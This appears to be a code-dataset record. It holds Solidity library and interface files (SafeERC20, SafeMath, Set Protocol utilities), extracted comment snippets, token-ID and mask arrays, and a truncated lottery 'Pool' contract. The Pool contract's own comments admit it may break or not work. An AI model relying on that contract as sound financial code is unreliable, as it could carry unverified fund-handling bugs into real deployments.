safeTransferFrom(IERC20 token, address from, address to, uint256 value) internal { _callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value)); } /** * @dev Deprecated. This function has issues similar to the ones found in * {IERC20-approve}, and its usage is discouraged. * * Whenever possible, use {safeIncreaseAllowance} and * {safeDecreaseAllowance} instead. */ function safeApprove(IERC20 token, address spender, uint256 value) internal { // safeApprove should only be called when setting an initial allowance, // or when resetting it to zero. To increase and decrease it, use // 'safeIncreaseAllowance' and 'safeDecreaseAllowance' // solhint-disable-next-line max-line-length require((value == 0) || (token.allowance(address(this), spender) == 0), "SafeERC20: approve from non-zero to non-zero allowance" ); _callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value)); } function safeIncreaseAllowance(IERC20 token, address spender, uint256 value) internal { uint256 newAllowance = token.allowance(address(this), spender).add(value); _callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance)); } function safeDecreaseAllowance(IERC20 token, address spender, uint256 value) internal { uint256 newAllowance = token.allowance(address(this), spender).sub(value, "SafeERC20: decreased allowance below zero"); _callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance)); } /** * @dev Imitates a Solidity high-level call (i.e. a regular function call to a contract), relaxing the requirement * on the return value: the return value is optional (but if data is returned, it must not be false). * @param token The token targeted by the call. * @param data The call data (encoded using abi.encode or one of its variants). */ function _callOptionalReturn(IERC20 token, bytes memory data) private { // We need to perform a low level call here, to bypass Solidity's return data size checking mechanism, since // we're implementing it ourselves. We use {Address.functionCall} to perform this call, which verifies that // the target address contains contract code and also asserts for success in the low-level call. bytes memory returndata = address(token).functionCall(data, "SafeERC20: low-level call failed"); if (returndata.length > 0) { // Return data is optional // solhint-disable-next-line max-line-length require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed"); } } } /* Copyright 2020 Set Labs Inc. Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with the License. You may obtain a copy of the License at http://www.apache.org/licenses/LICENSE-2.0 Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the specific language governing permissions and limitations under the License. SPDX-License-Identifier: Apache License, Version 2.0 */ pragma solidity 0.6.10; /** * @title AddressArrayUtils * @author Set Protocol * * Utility functions to handle Address Arrays * * CHANGELOG: * - 4/27/21: Added validatePairsWithArray methods */ library AddressArrayUtils { /** * Finds the index of the first occurrence of the given element. * @param A The input array to search * @param a The value to find * @return Returns (index and isIn) for the first occurrence starting from index 0 */ function indexOf(address[] memory A, address a) internal pure returns (uint256, bool) { uint256 length = A.length; for (uint256 i = 0; i < length; i++) { if (A[i] == a) { return (i, true); } } return (uint256(-1), false); } /** * Returns true if the value is present in the list. Uses indexOf internally. * @param A The input array to search * @param a The value to find * @return Returns isIn for the first occurrence starting from index 0 */ function contains(address[] memory A, address a) internal pure returns (bool) { (, bool isIn) = indexOf(A, a); return isIn; } /** * Returns true if there are 2 elements that are the same in an array * @param A The input array to search * @return Returns boolean for the first occurrence of a duplicate */ function hasDuplicate(address[] memory A) internal pure returns(bool) { require(A.length > 0, "A is empty"); for (uint256 i = 0; i < A.length - 1; i++) { address current = A[i]; for (uint256 j = i + 1; j < A.length; j++) { if (current == A[j]) { return true; } } } return false; } /** * @param A The input array to search * @param a The address to remove * @return Returns the array with the object removed. */ function remove(address[] memory A, address a) internal pure returns (address[] memory) { (uint256 index, bool isIn) = indexOf(A, a); if (!isIn) { revert("Address not in array."); } else { (address[] memory _A,) = pop(A, index); return _A; } } /** * @param A The input array to search * @param a The address to remove */ function removeStorage(address[] storage A, address a) internal { (uint256 index, bool isIn) = indexOf(A, a); if (!isIn) { revert("Address not in array."); } else { uint256 lastIndex = A.length - 1; // If the array would be empty, the previous line would throw, so no underflow here if (index != lastIndex) { A[index] = A[lastIndex]; } A.pop(); } } /** * Removes specified index from array * @param A The input array to search * @param index The index to remove * @return Returns the new array and the removed entry */ function pop(address[] memory A, uint256 index) internal pure returns (address[] memory, address) { uint256 length = A.length; require(index < A.length, "Index must be < A length"); address[] memory newAddresses = new address[](length - 1); for (uint256 i = 0; i < index; i++) { newAddresses[i] = A[i]; } for (uint256 j = index + 1; j < length; j++) { newAddresses[j - 1] = A[j]; } return (newAddresses, A[index]); } /** * Returns the combination of the two arrays * @param A The first array * @param B The second array * @return Returns A extended by B */ function extend(address[] memory A, address[] memory B) internal pure returns (address[] memory) { uint256 aLength = A.length; uint256 bLength = B.length; address[] memory newAddresses = new address[](aLength + bLength); for (uint256 i = 0; i < aLength; i++) { newAddresses[i] = A[i]; } for (uint256 j = 0; j < bLength; j++) { newAddresses[aLength + j] = B[j]; } return newAddresses; } /** * Validate that address and uint array lengths match. Validate address array is not empty * and contains no duplicate elements. * * @param A Array of addresses * @param B Array of uint */ function validatePairsWithArray(address[] memory A, uint[] memory B) internal pure { require(A.length == B.length, "Array length mismatch"); _validateLengthAndUniqueness(A); } /** * Validate that address and bool array lengths match. Validate address array is not empty * and contains no duplicate elements. * * @param A Array of addresses * @param B Array of bool */ function validatePairsWithArray(address[] memory A, bool[] memory B) internal pure { require(A.length == B.length, "Array length mismatch"); _validateLengthAndUniqueness(A); } /** * Validate that address and string array lengths match. Validate address array is not empty * and contains no duplicate elements. * * @param A Array of addresses * @param B Array of strings */ function validatePairsWithArray(address[] memory A, string[] memory B) internal pure { require(A.length == B.length, "Array length mismatch"); _validateLengthAndUniqueness(A); } /** * Validate that address array lengths match, and calling address array are not empty * and contain no duplicate elements. * * @param A Array of addresses * @param B Array of addresses */ function validatePairsWithArray(address[] memory A, address[] memory B) internal pure { require(A.length == B.length, "Array length mismatch"); _validateLengthAndUniqueness(A); } /** * Validate that address and bytes array lengths match. Validate address array is not empty * and contains no duplicate elements. * * @param A Array of addresses * @param B Array of bytes */ function validatePairsWithArray(address[] memory A, bytes[] memory B) internal pure { require(A.length == B.length, "Array length mismatch"); _validateLengthAndUniqueness(A); } /** * Validate address array is not empty and contains no duplicate elements. * * @param A Array of addresses */ function _validateLengthAndUniqueness(address[] memory A) internal pure { require(A.length > 0, "Array length must be > 0"); require(!hasDuplicate(A), "Cannot duplicate addresses"); } } /* Copyright 2021 Set Labs Inc. Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with the License. You may obtain a copy of the License at http://www.apache.org/licenses/LICENSE-2.0 Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the specific language governing permissions and limitations under the License. SPDX-License-Identifier: Apache License, Version 2.0 */ pragma solidity 0.6.10; pragma experimental "ABIEncoderV2"; import { IBaseManager } from "./IBaseManager.sol"; interface IExtension { function manager() external view returns (IBaseManager); } pragma solidity 0.6.10; pragma experimental "ABIEncoderV2"; import { IERC20 } from "@openzeppelin/contracts/token/ERC20/IERC20.sol"; /** * @title ISetToken * @author Set Protocol * * Interface for operating with SetTokens. */ interface ISetToken is IERC20 { /* ============ Enums ============ */ enum ModuleState { NONE, PENDING, INITIALIZED } /* ============ Structs ============ */ /** * The base definition of a SetToken Position * * @param component Address of token in the Position * @param module If not in default state, the address of associated module * @param unit Each unit is the # of components per 10^18 of a SetToken * @param positionState Position ENUM. Default is 0; External is 1 * @param data Arbitrary data */ struct Position { address component; address module; int256 unit; uint8 positionState; bytes data; } /** * A struct that stores a component's cash position details and external positions * This data structure allows O(1) access to a component's cash position units and * virtual units. * * @param virtualUnit Virtual value of a component's DEFAULT position. Stored as virtual for efficiency * updating all units at once via the position multiplier. Virtual units are achieved * by dividing a "real" value by the "positionMultiplier" * @param componentIndex * @param externalPositionModules List of external modules attached to each external position. Each module * maps to an external position * @param externalPositions Mapping of module => ExternalPosition struct for a given component */ struct ComponentPosition { int256 virtualUnit; address[] externalPositionModules; mapping(address => ExternalPosition) externalPositions; } /** * A struct that stores a component's external position details including virtual unit and any * auxiliary data. * * @param virtualUnit Virtual value of a component's EXTERNAL position. * @param data Arbitrary data */ struct ExternalPosition { int256 virtualUnit; bytes data; } /* ============ Functions ============ */ function addComponent(address _component) external; function removeComponent(address _component) external; function editDefaultPositionUnit(address _component, int256 _realUnit) external; function addExternalPositionModule(address _component, address _positionModule) external; function removeExternalPositionModule(address _component, address _positionModule) external; function editExternalPositionUnit(address _component, address _positionModule, int256 _realUnit) external; function editExternalPositionData(address _component, address _positionModule, bytes calldata _data) external; function invoke(address _target, uint256 _value, bytes calldata _data) external returns(bytes memory); function editPositionMultiplier(int256 _newMultiplier) external; function mint(address _account, uint256 _quantity) external; function burn(address _account, uint256 _quantity) external; function lock() external; function unlock() external; function addModule(address _module) external; function removeModule(address _module) external; function initializeModule() external; function setManager(address _manager) external; function manager() external view returns (address); function moduleStates(address _module) external view returns (ModuleState); function getModules() external view returns (address[] memory); function getDefaultPositionRealUnit(address _component) external view returns(int256); function getExternalPositionRealUnit(address _component, address _positionModule) external view returns(int256); function getComponents() external view returns(address[] memory); function getExternalPositionModules(address _component) external view returns(address[] memory); function getExternalPositionData(address _component, address _positionModule) external view returns(bytes memory); function isExternalPositionModule(address _component, address _module) external view returns(bool); function isComponent(address _component) external view returns(bool); function positionMultiplier() external view returns (int256); function getPositions() external view returns (Position[] memory); function getTotalComponentRealUnits(address _component) external view returns(int256); function isInitializedModule(address _module) external view returns(bool); function isPendingModule(address _module) external view returns(bool); function isLocked() external view returns (bool); } /* Copyright 2018 Set Labs Inc. Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with the License. You may obtain a copy of the License at http://www.apache.org/licenses/LICENSE-2.0 Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the specific language governing permissions and limitations under the License. */ pragma solidity 0.6.10; /** * @title MutualUpgrade * @author Set Protocol * * The MutualUpgrade contract contains a modifier for handling mutual upgrades between two parties */ contract MutualUpgrade { /* ============ State Variables ============ */ // Mapping of upgradable units and if upgrade has been initialized by other party mapping(bytes32 => bool) public mutualUpgrades; /* ============ Events ============ */ event MutualUpgradeRegistered( bytes32 _upgradeHash ); /* ============ Modifiers ============ */ modifier mutualUpgrade(address _signerOne, address _signerTwo) { require( msg.sender == _signerOne || msg.sender == _signerTwo, "Must be authorized address" ); address nonCaller = _getNonCaller(_signerOne, _signerTwo); // The upgrade hash is defined by the hash of the transaction call data and sender of msg, // which uniquely identifies the function, arguments, and sender. bytes32 expectedHash = keccak256(abi.encodePacked(msg.data, nonCaller)); if (!mutualUpgrades[expectedHash]) { bytes32 newHash = keccak256(abi.encodePacked(msg.data, msg.sender)); mutualUpgrades[newHash] = true; emit MutualUpgradeRegistered(newHash); return; } delete mutualUpgrades[expectedHash]; // Run the rest of the upgrades _; } /* ============ Internal Functions ============ */ function _getNonCaller(address _signerOne, address _signerTwo) internal view returns(address) { return msg.sender == _signerOne ? _signerTwo : _signerOne; } } // SPDX-License-Identifier: MIT pragma solidity >=0.6.0 <0.8.0; /** * @dev Wrappers over Solidity's arithmetic operations with added overflow * checks. * * Arithmetic operations in Solidity wrap on overflow. This can easily result * in bugs, because programmers usually assume that an overflow raises an * error, which is the standard behavior in high level programming languages. * `SafeMath` restores this intuition by reverting the transaction when an * operation overflows. * * Using this library instead of the unchecked operations eliminates an entire * class of bugs, so it's recommended to use it always. */ library SafeMath { /** * @dev Returns the addition of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `+` operator. * * Requirements: * * - Addition cannot overflow. */ function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } /** * @dev Returns the subtraction of two unsigned integers, reverting on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * * - Subtraction cannot overflow. */ function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } /** * @dev Returns the subtraction of two unsigned integers, reverting with custom message on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * * - Subtraction cannot overflow. */ function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } /** * @dev Returns the multiplication of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `*` operator. * * Requirements: * * - Multiplication cannot overflow. */ function mul(uint256 a, uint256 b) internal pure returns (uint256) { // Gas optimization: this is cheaper than requiring 'a' not being zero, but the // benefit is lost if 'b' is also tested. // See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522 if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } /** * @dev Returns the integer division of two unsigned integers. Reverts on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } /** * @dev Returns the integer division of two unsigned integers. Reverts with custom message on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return c; } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * Reverts when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function mod(uint256 a, uint256 b) internal pure returns (uint256) { return mod(a, b, "SafeMath: modulo by zero"); } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * Reverts with custom message when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b != 0, errorMessage); return a % b; } } /* Copyright 2021 Set Labs Inc. Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with the License. You may obtain a copy of the License at http://www.apache.org/licenses/LICENSE-2.0 Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the specific language governing permissions and limitations under the License. */ pragma solidity 0.6.10; pragma experimental "ABIEncoderV2"; import { ISetToken } from "./ISetToken.sol"; interface IBaseManager { function setToken() external returns(ISetToken); function methodologist() external returns(address); function operator() external returns(address); function interactManager(address _module, bytes calldata _encoded) external; function transferTokens(address _token, address _destination, uint256 _amount) external; }
============ Events ============ */ ============ Modifiers ============ */ The upgrade hash is defined by the hash of the transaction call data and sender of msg, which uniquely identifies the function, arguments, and sender.
function addComponent(address _component) external; function removeComponent(address _component) external; function editDefaultPositionUnit(address _component, int256 _realUnit) external; function addExternalPositionModule(address _component, address _positionModule) external; function removeExternalPositionModule(address _component, address _positionModule) external; function editExternalPositionUnit(address _component, address _positionModule, int256 _realUnit) external; function editExternalPositionData(address _component, address _positionModule, bytes calldata _data) external; function invoke(address _target, uint256 _value, bytes calldata _data) external returns(bytes memory); function editPositionMultiplier(int256 _newMultiplier) external; function mint(address _account, uint256 _quantity) external; function burn(address _account, uint256 _quantity) external; function lock() external; function unlock() external; function addModule(address _module) external; function removeModule(address _module) external; function initializeModule() external; function setManager(address _manager) external; function manager() external view returns (address); function moduleStates(address _module) external view returns (ModuleState); function getModules() external view returns (address[] memory); function getDefaultPositionRealUnit(address _component) external view returns(int256); function getExternalPositionRealUnit(address _component, address _positionModule) external view returns(int256); function getComponents() external view returns(address[] memory); function getExternalPositionModules(address _component) external view returns(address[] memory); function getExternalPositionData(address _component, address _positionModule) external view returns(bytes memory); function isExternalPositionModule(address _component, address _module) external view returns(bool); function isComponent(address _component) external view returns(bool); function positionMultiplier() external view returns (int256); function getPositions() external view returns (Position[] memory); function getTotalComponentRealUnits(address _component) external view returns(int256); function isInitializedModule(address _module) external view returns(bool); function isPendingModule(address _module) external view returns(bool); function isLocked() external view returns (bool); } Copyright 2018 Set Labs Inc. Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with the License. You may obtain a copy of the License at Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the specific language governing permissions and limitations under the License. pragma solidity 0.6.10; modifier mutualUpgrade(address _signerOne, address _signerTwo) { require( msg.sender == _signerOne || msg.sender == _signerTwo, "Must be authorized address" ); address nonCaller = _getNonCaller(_signerOne, _signerTwo); bytes32 expectedHash = keccak256(abi.encodePacked(msg.data, nonCaller)); if (!mutualUpgrades[expectedHash]) { bytes32 newHash = keccak256(abi.encodePacked(msg.data, msg.sender)); mutualUpgrades[newHash] = true; emit MutualUpgradeRegistered(newHash); return; } delete mutualUpgrades[expectedHash]; }
280,545
[ 1, 14468, 9043, 422, 1432, 631, 342, 422, 1432, 631, 3431, 3383, 422, 1432, 631, 342, 1021, 8400, 1651, 353, 2553, 635, 326, 1651, 434, 326, 2492, 745, 501, 471, 5793, 434, 1234, 16, 1492, 30059, 25283, 326, 445, 16, 1775, 16, 471, 5793, 18, 2, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 565, 445, 15218, 12, 2867, 389, 4652, 13, 3903, 31, 203, 565, 445, 1206, 1841, 12, 2867, 389, 4652, 13, 3903, 31, 203, 565, 445, 3874, 1868, 2555, 2802, 12, 2867, 389, 4652, 16, 509, 5034, 389, 7688, 2802, 13, 3903, 31, 203, 565, 445, 527, 6841, 2555, 3120, 12, 2867, 389, 4652, 16, 1758, 389, 3276, 3120, 13, 3903, 31, 203, 565, 445, 1206, 6841, 2555, 3120, 12, 2867, 389, 4652, 16, 1758, 389, 3276, 3120, 13, 3903, 31, 203, 565, 445, 3874, 6841, 2555, 2802, 12, 2867, 389, 4652, 16, 1758, 389, 3276, 3120, 16, 509, 5034, 389, 7688, 2802, 13, 3903, 31, 203, 565, 445, 3874, 6841, 2555, 751, 12, 2867, 389, 4652, 16, 1758, 389, 3276, 3120, 16, 1731, 745, 892, 389, 892, 13, 3903, 31, 203, 203, 565, 445, 4356, 12, 2867, 389, 3299, 16, 2254, 5034, 389, 1132, 16, 1731, 745, 892, 389, 892, 13, 3903, 1135, 12, 3890, 3778, 1769, 203, 203, 565, 445, 3874, 2555, 23365, 12, 474, 5034, 389, 2704, 23365, 13, 3903, 31, 203, 203, 565, 445, 312, 474, 12, 2867, 389, 4631, 16, 2254, 5034, 389, 16172, 13, 3903, 31, 203, 565, 445, 18305, 12, 2867, 389, 4631, 16, 2254, 5034, 389, 16172, 13, 3903, 31, 203, 203, 565, 445, 2176, 1435, 3903, 31, 203, 565, 445, 7186, 1435, 3903, 31, 203, 203, 565, 445, 527, 3120, 12, 2867, 389, 2978, 13, 3903, 31, 203, 565, 445, 1206, 3120, 12, 2867, 389, 2978, 13, 3903, 31, 203, 565, 445, 4046, 3120, 1435, 3903, 2 ]
pragma solidity 0.5.0; import "openzeppelin-eth/contracts/token/ERC20/IERC20.sol"; import "openzeppelin-eth/contracts/math/SafeMath.sol"; import "./compound/ICErc20.sol"; import "openzeppelin-eth/contracts/ownership/Ownable.sol"; import "kleros/contracts/data-structures/SortitionSumTreeFactory.sol"; import "./UniformRandomNumber.sol"; import "fixidity/contracts/FixidityLib.sol"; /** * @title The Pool contract for PoolTogether * @author Brendan Asselstine * @notice This contract implements a "lossless pool". The pool exists in three states: open, locked, and complete. * The pool begins in the open state during which users can buy any number of tickets. The more tickets they purchase, the greater their chances of winning. * After the lockStartBlock the owner may lock the pool. The pool transfers the pool of ticket money into the Compound Finance money market and no more tickets are sold. * After the lockEndBlock the owner may unlock the pool. The pool will withdraw the ticket money from the money market, plus earned interest, back into the contract. The fee will be sent to * the owner, and users will be able to withdraw their ticket money and winnings, if any. * @dev All monetary values are stored internally as fixed point 24. */ // WARNING: This contract will break if the amount of interest earned is negative (is that possible?). contract Pool is Ownable { using SafeMath for uint256; /** * Emitted when "tickets" have been purchased. * @param sender The purchaser of the tickets * @param count The number of tickets purchased * @param totalPrice The total cost of the tickets */ event BoughtTickets(address indexed sender, int256 count, uint256 totalPrice); /** * Emitted when a user withdraws from the pool. * @param sender The user that is withdrawing from the pool * @param amount The amount that the user withdrew */ event Withdrawn(address indexed sender, int256 amount, int256 remainingTickets); /** * Emitted when the pool is complete. Total Winnings is unifixed. */ event DrawingComplete(int256 winningGroup, int256 totalWinnings); struct Entry { address addr; // this may be unneeded and expensive but I'll optimize later // it shows up twice: in the struct and as the key in users dict string username; int256 amount; // this is fixedPoint24 int256 ticketCount; int256 totalWinnings; // this is fixedPoint24 int256 groupId; // TODO: collectibles } struct PendingEntry { address addr; int256 amount; // fixedPoint24 int256 ticketCount; } struct Group { address[] members; // this are the members that are authorized to join the group // every member has invite access address[] allowedEntrants; // ticketCount: computed from members in frontend // amount: computed from members in frontend } bytes32 public constant SUM_TREE_KEY = "PoolPool"; bool public hasActivated = false; // total principle int256 private principleAmount; // fixed point 24 bytes32 private secretHash; bytes32 private secret; // total principle + interest int256 private finalAmount; //fixed point 24 // winnings from previous draws that are unclaimed and therefore still in compound int256 private unclaimedWinnings; // fixed point 24 // When new winnings are calculated in each drawing, the prize pool is calculated as // finalAmount - unclaimedWinnings - principleAmount // TODO: optimize // We need to keep this... stored twice. Not pretty // Needed to access the entry for msg.sender mapping (address => Entry) private activeEntries; // needed to invite by username mapping (string => address) private users; //mapping of groups Group[] private groups; mapping (address => PendingEntry) private pendingEntries; // Needed to loops over pendingEntries in activateEntries address[] pendingAddresses; // TODO: decrement entryCount on full withdrawal uint256 public entryCount; ICErc20 public moneyMarket; IERC20 public token; int256 private ticketPrice; //fixed point 24 int256 private feeFraction; //fixed point 24 address private winningAddress; int256 private winningGroup; using SortitionSumTreeFactory for SortitionSumTreeFactory.SortitionSumTrees; SortitionSumTreeFactory.SortitionSumTrees internal sortitionSumTrees; /** * @notice Creates a new Pool. * @param _moneyMarket The Compound money market to supply tokens to. * @param _token The ERC20 token to be used. * @param _ticketPrice The price of each ticket (fixed point 18) * @param _feeFractionFixedPoint18 The fraction of the winnings going to the owner (fixed point 18) * @param _secretHash the secret hash for the first drawing */ constructor ( ICErc20 _moneyMarket, IERC20 _token, int256 _ticketPrice, int256 _feeFractionFixedPoint18, bytes32 _secretHash ) public { require(address(_moneyMarket) != address(0), "money market address cannot be zero"); require(address(_token) != address(0), "token address cannot be zero"); require(_ticketPrice > 0, "ticket price must be greater than zero"); require(_feeFractionFixedPoint18 >= 0, "fee must be zero or greater"); require(_feeFractionFixedPoint18 <= 1000000000000000000, "fee fraction must be less than 1"); feeFraction = FixidityLib.newFixed(_feeFractionFixedPoint18, uint8(18)); ticketPrice = FixidityLib.newFixed(_ticketPrice); sortitionSumTrees.createTree(SUM_TREE_KEY, 4); secretHash = _secretHash; moneyMarket = _moneyMarket; token = _token; unclaimedWinnings = FixidityLib.newFixed(0); } modifier hasEntry { require(activeEntries[msg.sender].addr == msg.sender, "The user has not yet entered the game. Buy a ticket first."); _; } modifier hasGroup { require(activeEntries[msg.sender].addr == msg.sender, "The user has not yet entered the game. Buy a ticket first."); require(activeEntries[msg.sender].groupId >= 0, "The user has not created or joined a group yet."); _; } modifier isSolo { require(activeEntries[msg.sender].addr == msg.sender, "The user has not yet entered the game. Buy a ticket first."); require(activeEntries[msg.sender].groupId == -1, "The user is already in a group. They should leave before joining another."); _; } function getUnclaimedWinnings() external view returns (int256) { return FixidityLib.fromFixed(unclaimedWinnings); } /** * @notice deletes the element at a given index from the array * @param index the index to delte * @param array the array to modify * @author jmartinmcfly (copied from https://ethereum.stackexchange.com/questions/1527/how-to-delete-an-element-at-a-certain-index-in-an-array/1528) */ function _burn(uint256 index, address[] storage array) internal { require(index < array.length, "Bad Index"); array[index] = array[array.length-1]; delete array[array.length-1]; array.length--; } // getter for groups function getGroupId(address _addr) public view returns (int256) { return activeEntries[_addr].groupId; } function getGroup(uint256 groupId) public view returns ( address[] memory members, address[] memory allowedEntrants ) { Group storage theGroup = groups[groupId]; return (theGroup.members, theGroup.allowedEntrants); } event NewGroupMade(int idNewGroup, address groupCreatorAddr); /** * @notice Creates a new group and places msg.sender within it */ // WARNING: this may not work. I may need to make a mapping for groups // and store the keys for that mapping in an array function createGroup() external hasEntry { int newGroupId = int(groups.length); groups.length += 1; Group storage newGroup = groups[uint(newGroupId)]; newGroup.members.push(msg.sender); Entry storage senderEntry = activeEntries[msg.sender]; senderEntry.groupId = newGroupId; emit NewGroupMade(senderEntry.groupId, msg.sender); } /** * @notice Puts a user in a group if they've been invited and removes them from * the allowed invite list. * @param _groupId The group to join * @author jmartinmcfly */ function joinGroup(int256 _groupId) external hasEntry isSolo { // require the the user is in allowed Group storage theGroup = groups[uint(_groupId)]; bool isAllowed = false; for (uint i = 0; i < theGroup.allowedEntrants.length; i++) { if (theGroup.allowedEntrants[i] == msg.sender) { isAllowed = true; // WARNING: This may get funky because storage _burn(i, theGroup.allowedEntrants); } } require(isAllowed, "You do not have permission to join this group."); theGroup.members.push(msg.sender); // change the entry to match the new group status Entry storage newGroupMember = activeEntries[msg.sender]; newGroupMember.groupId = _groupId; } /** * @notice Makes msg.sender leave their given group and become a solo player * @author jmartinmcfly */ function leaveGroup() external hasEntry hasGroup { Entry storage senderEntry = activeEntries[msg.sender]; // WARNING: This may get funky because storage Group storage group = groups[uint(getGroupId(msg.sender))]; uint index = group.members.length; for (uint i = 0; i < group.members.length; i++) { if (group.members[i] == msg.sender) { index = i; } } require(index < group.members.length, "Something went wrong with the leave op!"); // remove the msg.sender from the list of members _burn(index, group.members); // set the groupId of the user to -1 aka "does not exist" senderEntry.groupId = -1; } event UserInvited(int256 theGroup, address invitee, address invitor); /** * @notice Gives the passed user permission to join the group of msg.sender * @param _username the username of the user to invite * @author jmartinmcfly */ function invite(string calldata _username) external hasEntry hasGroup { // require that the user "_username" exists require(users[_username] != address(0), "User doesn't exist"); address inviteeAddress = users[_username]; int256 groupId = activeEntries[msg.sender].groupId; Group storage invitingGroup = groups[uint(groupId)]; invitingGroup.allowedEntrants.push(inviteeAddress); emit UserInvited(groupId ,inviteeAddress, msg.sender); } function setUsername(string calldata _username) external { if (_hasEntry(msg.sender)) { users[_username] = msg.sender; Entry storage entryToModify = activeEntries[msg.sender]; entryToModify.username = _username; } else { activeEntries[msg.sender] = Entry( msg.sender, _username, 0, 0, 0, -1 ); users[_username] = msg.sender; } } event BalanceEvent(uint256 depositedBalance); /** * @notice Buys a pool ticket. Only possible while the Pool is in the "open" state. The * user can buy any number of tickets. Each ticket is a chance at winning. * @param _countNonFixed The number of tickets the user wishes to buy. */ function buyTickets (int256 _countNonFixed) public { require(_countNonFixed > 0, "number of tickets is less than or equal to zero"); int256 count = FixidityLib.newFixed(_countNonFixed); int256 totalDeposit = FixidityLib.multiply(ticketPrice, count); uint256 totalDepositNonFixed = uint256(FixidityLib.fromFixed(totalDeposit)); require(token.transferFrom(msg.sender, address(this), totalDepositNonFixed), "token transfer failed"); // send the newly sent tokens to the moneymarket require(token.approve(address(moneyMarket), totalDepositNonFixed), "could not approve money market spend"); emit BalanceEvent(totalDepositNonFixed); // TODO: DOES THIS WORK? Can you mint twice? require(moneyMarket.mint(totalDepositNonFixed) == 0, "could not supply money market"); if (_hasEntry(msg.sender)) { if (!_hasPendingEntry(msg.sender)) { pendingAddresses.push(msg.sender); pendingEntries[msg.sender] = PendingEntry(msg.sender, totalDeposit, _countNonFixed); } else { pendingEntries[msg.sender].amount = FixidityLib.add(pendingEntries[msg.sender].amount, totalDeposit); pendingEntries[msg.sender].ticketCount = 